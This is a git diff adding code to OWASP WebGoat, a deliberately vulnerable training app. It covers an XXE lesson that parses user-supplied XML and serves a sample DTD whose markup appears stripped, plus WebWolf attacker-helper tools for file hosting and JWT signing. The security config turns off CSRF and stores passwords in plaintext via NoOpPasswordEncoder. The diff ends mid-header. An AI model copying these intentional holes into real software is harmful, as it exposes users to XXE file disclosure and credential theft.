b/src/main/java/org/owasp/webgoat/lessons/xxe/Ping.java @@ -0,0 +1,62 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import java.io.File; +import java.io.FileNotFoundException; +import java.io.PrintWriter; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.RequestHeader; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +@Slf4j +public class Ping { + + @Value("${webgoat.user.directory}") + private String webGoatHomeDirectory; + + @Autowired private WebSession webSession; + + @RequestMapping(method = RequestMethod.GET) + @ResponseBody + public String logRequest( + @RequestHeader("User-Agent") String userAgent, @RequestParam(required = false) String text) { + String logLine = String.format("%s %s %s", "GET", userAgent, text); + log.debug(logLine); + File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt"); + try { + try (PrintWriter pw = new PrintWriter(logFile)) { + pw.println(logLine); + } + } catch (FileNotFoundException e) { + log.error("Error occurred while writing the logfile", e); + } + return ""; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/SimpleXXE.java b/src/main/java/org/owasp/webgoat/lessons/xxe/SimpleXXE.java new file mode 100644 index 000000000..d51712cd4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/SimpleXXE.java @@ -0,0 +1,112 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import static org.springframework.http.MediaType.ALL_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import javax.servlet.http.HttpServletRequest; +import org.apache.commons.exec.OS; +import org.apache.commons.lang3.exception.ExceptionUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/8/17. + */ +@RestController +@AssignmentHints({ + "xxe.hints.simple.xxe.1", + "xxe.hints.simple.xxe.2", + "xxe.hints.simple.xxe.3", + "xxe.hints.simple.xxe.4", + "xxe.hints.simple.xxe.5", + "xxe.hints.simple.xxe.6" +}) +public class SimpleXXE extends AssignmentEndpoint { + + private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"}; + private static final String[] DEFAULT_WINDOWS_DIRECTORIES = { + "Windows", "Program Files (x86)", "Program Files", "pagefile.sys" + }; + + @Value("${webgoat.server.directory}") + private String webGoatHomeDirectory; + + @Value("${webwolf.landingpage.url}") + private String webWolfURL; + + @Autowired private CommentsCache comments; + + @PostMapping(path = "xxe/simple", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE) + @ResponseBody + public AttackResult createNewComment(HttpServletRequest request, @RequestBody String commentStr) { + String error = ""; + try { + var comment = comments.parseXml(commentStr); + comments.addComment(comment, false); + if (checkSolution(comment)) { + return success(this).build(); + } + } catch (Exception e) { + error = ExceptionUtils.getStackTrace(e); + } + return failed(this).output(error).build(); + } + + private boolean checkSolution(Comment comment) { + String[] directoriesToCheck = + OS.isFamilyMac() || OS.isFamilyUnix() + ? DEFAULT_LINUX_DIRECTORIES + : DEFAULT_WINDOWS_DIRECTORIES; + boolean success = false; + for (String directory : directoriesToCheck) { + success |= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory); + } + return success; + } + + @RequestMapping( + path = "/xxe/sampledtd", + consumes = ALL_VALUE, + produces = MediaType.TEXT_PLAIN_VALUE) + @ResponseBody + public String getSampleDTDFile() { + return """ + + + "> + %all; + """; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/User.java b/src/main/java/org/owasp/webgoat/lessons/xxe/User.java new file mode 100644 index 000000000..bca81e474 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/User.java @@ -0,0 +1,48 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import javax.xml.bind.annotation.XmlRootElement; + +@XmlRootElement +public class User { + + private String username = ""; + private String password = ""; + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + + public String getUsername() { + return username; + } + + public void setUsername(String username) { + this.username = username; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/xxe/XXE.java b/src/main/java/org/owasp/webgoat/lessons/xxe/XXE.java new file mode 100644 index 000000000..0a69d4c15 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/xxe/XXE.java @@ -0,0 +1,41 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.xxe; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class XXE extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.A5; + } + + @Override + public String getTitle() { + return "xxe.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/server/ParentConfig.java b/src/main/java/org/owasp/webgoat/server/ParentConfig.java new file mode 100644 index 000000000..b4a62db4d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/server/ParentConfig.java @@ -0,0 +1,8 @@ +package org.owasp.webgoat.server; + +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.Configuration; + +@Configuration +@ComponentScan("org.owasp.webgoat.server") +public class ParentConfig {} diff --git a/webgoat-server/src/main/java/org/owasp/webgoat/StartWebGoat.java b/src/main/java/org/owasp/webgoat/server/StartWebGoat.java similarity index 63% rename from webgoat-server/src/main/java/org/owasp/webgoat/StartWebGoat.java rename to src/main/java/org/owasp/webgoat/server/StartWebGoat.java index 473114c0e..845a057ac 100644 --- a/webgoat-server/src/main/java/org/owasp/webgoat/StartWebGoat.java +++ b/src/main/java/org/owasp/webgoat/server/StartWebGoat.java @@ -22,24 +22,29 @@ * projects. *

*/ -package org.owasp.webgoat; + +package org.owasp.webgoat.server; import lombok.extern.slf4j.Slf4j; -import org.springframework.boot.SpringApplication; -import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.owasp.webgoat.container.WebGoat; +import org.owasp.webgoat.webwolf.WebWolf; +import org.springframework.boot.Banner; +import org.springframework.boot.WebApplicationType; +import org.springframework.boot.builder.SpringApplicationBuilder; -/** - * Main entry point, this project is here to get all the lesson jars included to the final jar file - * - * @author nbaars - * @date 2/21/17 - */ -@SpringBootApplication @Slf4j public class StartWebGoat { - public static void main(String[] args) { - log.info("Starting WebGoat with args: {}", args); - SpringApplication.run(WebGoat.class, args); - } + public static void main(String[] args) { + new SpringApplicationBuilder() + .parent(ParentConfig.class) + .web(WebApplicationType.NONE) + .bannerMode(Banner.Mode.OFF) + .child(WebGoat.class) + .web(WebApplicationType.SERVLET) + .sibling(WebWolf.class) + .bannerMode(Banner.Mode.OFF) + .web(WebApplicationType.SERVLET) + .run(args); + } } diff --git a/src/main/java/org/owasp/webgoat/server/StartupMessage.java b/src/main/java/org/owasp/webgoat/server/StartupMessage.java new file mode 100644 index 000000000..409ffb377 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/server/StartupMessage.java @@ -0,0 +1,33 @@ +package org.owasp.webgoat.server; + +import lombok.NoArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.boot.context.event.ApplicationReadyEvent; +import org.springframework.context.event.ContextStoppedEvent; +import org.springframework.context.event.EventListener; +import org.springframework.stereotype.Component; +import org.springframework.util.StringUtils; + +@Component +@Slf4j +@NoArgsConstructor +public class StartupMessage { + + private String port; + private String address; + + @EventListener + void onStartup(ApplicationReadyEvent event) { + if (StringUtils.hasText(port) + && !StringUtils.hasText(System.getProperty("running.in.docker"))) { + log.info("Please browse to http://{}:{}/WebGoat to get started...", address, port); + } + if (event.getApplicationContext().getApplicationName().contains("WebGoat")) { + port = event.getApplicationContext().getEnvironment().getProperty("server.port"); + address = event.getApplicationContext().getEnvironment().getProperty("server.address"); + } + } + + @EventListener + void onShutdown(ContextStoppedEvent event) {} +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/FileServer.java b/src/main/java/org/owasp/webgoat/webwolf/FileServer.java new file mode 100644 index 000000000..a23af4ce7 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/FileServer.java @@ -0,0 +1,123 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf; + +import static org.springframework.http.MediaType.ALL_VALUE; + +import java.io.File; +import java.io.IOException; +import java.util.ArrayList; +import javax.servlet.http.HttpServletRequest; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.io.FileUtils; +import org.owasp.webgoat.webwolf.user.WebGoatUser; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.http.MediaType; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.stereotype.Controller; +import org.springframework.ui.ModelMap; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.multipart.MultipartFile; +import org.springframework.web.servlet.ModelAndView; +import org.springframework.web.servlet.view.RedirectView; + +/** Controller for uploading a file */ +@Controller +@Slf4j +public class FileServer { + + @Value("${webwolf.fileserver.location}") + private String fileLocation; + + @Value("${server.address}") + private String server; + + @Value("${server.port}") + private int port; + + @RequestMapping( + path = "/file-server-location", + consumes = ALL_VALUE, + produces = MediaType.TEXT_PLAIN_VALUE) + @ResponseBody + public String getFileLocation() { + return fileLocation; + } + + @PostMapping(value = "/fileupload") + public ModelAndView importFile(@RequestParam("file") MultipartFile myFile) throws IOException { + var user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); + var destinationDir = new File(fileLocation, user.getUsername()); + destinationDir.mkdirs(); + myFile.transferTo(new File(destinationDir, myFile.getOriginalFilename())); + log.debug("File saved to {}", new File(destinationDir, myFile.getOriginalFilename())); + + return new ModelAndView( + new RedirectView("files", true), + new ModelMap().addAttribute("uploadSuccess", "File uploaded successful")); + } + + @AllArgsConstructor + @Getter + private class UploadedFile { + private final String name; + private final String size; + private final String link; + } + + @GetMapping(value = "/files") + public ModelAndView getFiles(HttpServletRequest request) { + WebGoatUser user = + (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); + String username = user.getUsername(); + File destinationDir = new File(fileLocation, username); + + ModelAndView modelAndView = new ModelAndView(); + modelAndView.setViewName("files"); + File changeIndicatorFile = new File(destinationDir, user.getUsername() + "_changed"); + if (changeIndicatorFile.exists()) { + modelAndView.addObject("uploadSuccess", request.getParameter("uploadSuccess")); + } + changeIndicatorFile.delete(); + + var uploadedFiles = new ArrayList<>(); + File[] files = destinationDir.listFiles(File::isFile); + if (files != null) { + for (File file : files) { + String size = FileUtils.byteCountToDisplaySize(file.length()); + String link = String.format("files/%s/%s", username, file.getName()); + uploadedFiles.add(new UploadedFile(file.getName(), size, link)); + } + } + + modelAndView.addObject("files", uploadedFiles); + modelAndView.addObject("webwolf_url", "http://" + server + ":" + port); + return modelAndView; + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/MvcConfiguration.java b/src/main/java/org/owasp/webgoat/webwolf/MvcConfiguration.java new file mode 100644 index 000000000..f5fec0777 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/MvcConfiguration.java @@ -0,0 +1,67 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf; + +import java.io.File; +import javax.annotation.PostConstruct; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; +import org.springframework.web.servlet.config.annotation.ViewControllerRegistry; +import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; + +/** + * @author nbaars + * @since 8/13/17. + */ +@Configuration +public class MvcConfiguration implements WebMvcConfigurer { + + @Value("${webwolf.fileserver.location}") + private String fileLocation; + + @Override + public void addResourceHandlers(ResourceHandlerRegistry registry) { + registry.addResourceHandler("/files/**").addResourceLocations("file:///" + fileLocation + "/"); + + registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webwolf/static/css/"); + registry.addResourceHandler("/js/**").addResourceLocations("classpath:/webwolf/static/js/"); + registry + .addResourceHandler("/images/**") + .addResourceLocations("classpath:/webwolf/static/images/"); + } + + @Override + public void addViewControllers(ViewControllerRegistry registry) { + registry.addViewController("/login").setViewName("webwolf-login"); + registry.addViewController("/home").setViewName("home"); + } + + @PostConstruct + public void createDirectory() { + File file = new File(fileLocation); + if (!file.exists()) { + file.mkdirs(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/WebSecurityConfig.java b/src/main/java/org/owasp/webgoat/webwolf/WebSecurityConfig.java new file mode 100644 index 000000000..7afa030af --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/WebSecurityConfig.java @@ -0,0 +1,85 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ +package org.owasp.webgoat.webwolf; + +import lombok.AllArgsConstructor; +import org.owasp.webgoat.webwolf.user.UserService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.http.HttpMethod; +import org.springframework.security.authentication.AuthenticationManager; +import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; +import org.springframework.security.config.annotation.web.builders.HttpSecurity; +import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; +import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; +import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer; +import org.springframework.security.core.userdetails.UserDetailsService; +import org.springframework.security.crypto.password.NoOpPasswordEncoder; + +/** Security configuration for WebGoat. */ +@Configuration +@AllArgsConstructor +@EnableWebSecurity +public class WebSecurityConfig extends WebSecurityConfigurerAdapter { + + private final UserService userDetailsService; + + @Override + protected void configure(HttpSecurity http) throws Exception { + ExpressionUrlAuthorizationConfigurer.ExpressionInterceptUrlRegistry security = + http.authorizeRequests() + .antMatchers("/css/**", "/images/**", "/js/**", "/fonts/**", "/webjars/**", "/home") + .permitAll() + .antMatchers(HttpMethod.GET, "/mail/**", "/requests/**") + .authenticated() + .antMatchers("/files") + .authenticated() + .anyRequest() + .permitAll(); + security.and().csrf().disable().formLogin().loginPage("/login").failureUrl("/login?error=true"); + security.and().formLogin().loginPage("/login").defaultSuccessUrl("/home", true).permitAll(); + security.and().logout().permitAll(); + } + + @Autowired + public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception { + auth.userDetailsService(userDetailsService); // .passwordEncoder(bCryptPasswordEncoder()); + } + + @Bean + @Override + public UserDetailsService userDetailsServiceBean() throws Exception { + return userDetailsService; + } + + @Override + @Bean + protected AuthenticationManager authenticationManager() throws Exception { + return super.authenticationManager(); + } + + @Bean + public NoOpPasswordEncoder passwordEncoder() { + return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance(); + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/WebWolf.java b/src/main/java/org/owasp/webgoat/webwolf/WebWolf.java new file mode 100644 index 000000000..fa5d488a3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/WebWolf.java @@ -0,0 +1,43 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf; + +import org.owasp.webgoat.webwolf.requests.WebWolfTraceRepository; +import org.springframework.boot.actuate.trace.http.HttpTraceRepository; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.PropertySource; + +@Configuration +@ComponentScan("org.owasp.webgoat.webwolf") +@PropertySource("classpath:application-webwolf.properties") +@EnableAutoConfiguration +public class WebWolf { + + @Bean + public HttpTraceRepository traceRepository() { + return new WebWolfTraceRepository(); + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTController.java b/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTController.java new file mode 100644 index 000000000..7d7ab61ba --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTController.java @@ -0,0 +1,41 @@ +package org.owasp.webgoat.webwolf.jwt; + +import static org.springframework.http.MediaType.APPLICATION_FORM_URLENCODED_VALUE; +import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; + +import org.springframework.util.MultiValueMap; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.servlet.ModelAndView; + +@RestController +public class JWTController { + + @GetMapping("/jwt") + public ModelAndView jwt() { + return new ModelAndView("jwt"); + } + + @PostMapping( + value = "/jwt/decode", + consumes = APPLICATION_FORM_URLENCODED_VALUE, + produces = APPLICATION_JSON_VALUE) + public JWTToken decode(@RequestBody MultiValueMap formData) { + var jwt = formData.getFirst("token"); + var secretKey = formData.getFirst("secretKey"); + return JWTToken.decode(jwt, secretKey); + } + + @PostMapping( + value = "/jwt/encode", + consumes = APPLICATION_FORM_URLENCODED_VALUE, + produces = APPLICATION_JSON_VALUE) + public JWTToken encode(@RequestBody MultiValueMap formData) { + var header = formData.getFirst("header"); + var payload = formData.getFirst("payload"); + var secretKey = formData.getFirst("secretKey"); + return JWTToken.encode(header, payload, secretKey); + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTToken.java b/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTToken.java new file mode 100644 index 000000000..88fcdc1c5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTToken.java @@ -0,0 +1,138 @@ +package org.owasp.webgoat.webwolf.jwt; + +import static java.nio.charset.StandardCharsets.UTF_8; +import static org.springframework.util.Base64Utils.decodeFromUrlSafeString; +import static org.springframework.util.StringUtils.hasText; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import java.util.Map; +import java.util.TreeMap; +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Getter; +import lombok.NoArgsConstructor; +import lombok.Setter; +import org.jose4j.jws.JsonWebSignature; +import org.jose4j.jwt.consumer.InvalidJwtException; +import org.jose4j.jwt.consumer.JwtConsumer; +import org.jose4j.jwt.consumer.JwtConsumerBuilder; +import org.jose4j.jwx.CompactSerializer; +import org.jose4j.keys.HmacKey; +import org.jose4j.lang.JoseException; + +@NoArgsConstructor +@AllArgsConstructor +@Getter +@Setter +@Builder(toBuilder = true) +public class JWTToken { + + private String encoded = ""; + private String secretKey; + private String header; + private boolean validHeader; + private boolean validPayload; + private boolean validToken; + private String payload; + private boolean signatureValid = true; + + public static JWTToken decode(String jwt, String secretKey) { + var token = parseToken(jwt.trim().replace(System.getProperty("line.separator"), "")); + return token.toBuilder().signatureValid(validateSignature(secretKey, jwt)).build(); + } + + private static Map parse(String header) { + var reader = new ObjectMapper(); + try { + return reader.readValue(header, TreeMap.class); + } catch (JsonProcessingException e) { + return Map.of(); + } + } + + private static String write(String originalValue, Map data) { + var writer = new ObjectMapper().writerWithDefaultPrettyPrinter(); + try { + if (data.isEmpty()) { + return originalValue; + } + return writer.writeValueAsString(data); + } catch (JsonProcessingException e) { + return originalValue; + } + } + + public static JWTToken encode(String header, String payloadAsString, String secretKey) { + var headers = parse(header); + var payload = parse(payloadAsString); + + var builder = + JWTToken.builder() + .header(write(header, headers)) + .payload(write(payloadAsString, payload)) + .validHeader(!hasText(header) || !headers.isEmpty()) + .validToken(true) + .validPayload(!hasText(payloadAsString) || !payload.isEmpty()); + + JsonWebSignature jws = new JsonWebSignature(); + jws.setPayload(payloadAsString); + headers.forEach((k, v) -> jws.setHeader(k, v)); + if (!headers.isEmpty()) { // otherwise e30 meaning {} will be shown as header + builder.encoded( + CompactSerializer.serialize( + new String[] {jws.getHeaders().getEncodedHeader(), jws.getEncodedPayload()})); + } + + // Only sign when valid header and payload + if (!headers.isEmpty() && !payload.isEmpty() && hasText(secretKey)) { + jws.setDoKeyValidation(false); + jws.setKey(new HmacKey(secretKey.getBytes(UTF_8))); + try { + builder.encoded(jws.getCompactSerialization()); + builder.signatureValid(true); + } catch (JoseException e) { + // Do nothing + } + } + return builder.build(); + } + + private static JWTToken parseToken(String jwt) { + var token = jwt.split("\\."); + var builder = JWTToken.builder().encoded(jwt); + + if (token.length >= 2) { + var header = new String(decodeFromUrlSafeString(token[0]), UTF_8); + var payloadAsString = new String(decodeFromUrlSafeString(token[1]), UTF_8); + var headers = parse(header); + var payload = parse(payloadAsString); + builder.header(write(header, headers)); + builder.payload(write(payloadAsString, payload)); + builder.validHeader(!headers.isEmpty()); + builder.validPayload(!payload.isEmpty()); + builder.validToken(!headers.isEmpty() && !payload.isEmpty()); + } else { + builder.validToken(false); + } + return builder.build(); + } + + private static boolean validateSignature(String secretKey, String jwt) { + if (hasText(secretKey)) { + JwtConsumer jwtConsumer = + new JwtConsumerBuilder() + .setSkipAllValidators() + .setVerificationKey(new HmacKey(secretKey.getBytes(UTF_8))) + .setRelaxVerificationKeyValidation() + .build(); + try { + jwtConsumer.processToClaims(jwt); + return true; + } catch (InvalidJwtException e) { + return false; + } + } + return false; + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/mailbox/Email.java b/src/main/java/org/owasp/webgoat/webwolf/mailbox/Email.java new file mode 100644 index 000000000..4cca7856b --- /dev/null +++ b/src/main/java/org/owasp/webgoat/webwolf/mailbox/Email.java @@ -0,0 +1,74 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.webwolf.mailbox; + +import com.fasterxml.jackson.annotation.JsonIgnore; +import java.io.Serializable; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import javax.persistence.*; +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.NoArgsConstructor; + +/** + * @author nbaars + * @since 8/20/17. + */ +@Data +@Builder +@AllArgsConstructor +@Entity +@NoArgsConstructor +public class Email implements Serializable { + + @Id + @GeneratedValue(strategy = GenerationType.IDENTITY) + private Long id; + + @JsonIgnore private LocalDateTime time = LocalDateTime.now(); + + @Column(length = 1024) + private String contents; + + private String sender; + private String title; + private String recipient; + + public String getSummary() { + return "-" + this.contents.substring(0, Math.min(50, contents.length())); + } + + public LocalDateTime getTimestamp() { + return time; + } + + public String getTime() { + return DateTimeFormatter.ofPattern("h:mm a").format(time); + } + + public String getShortSender() { + return sender.substring(0, sender.indexOf("@")); + } +} diff --git a/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxController.java b/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxController.java new file mode 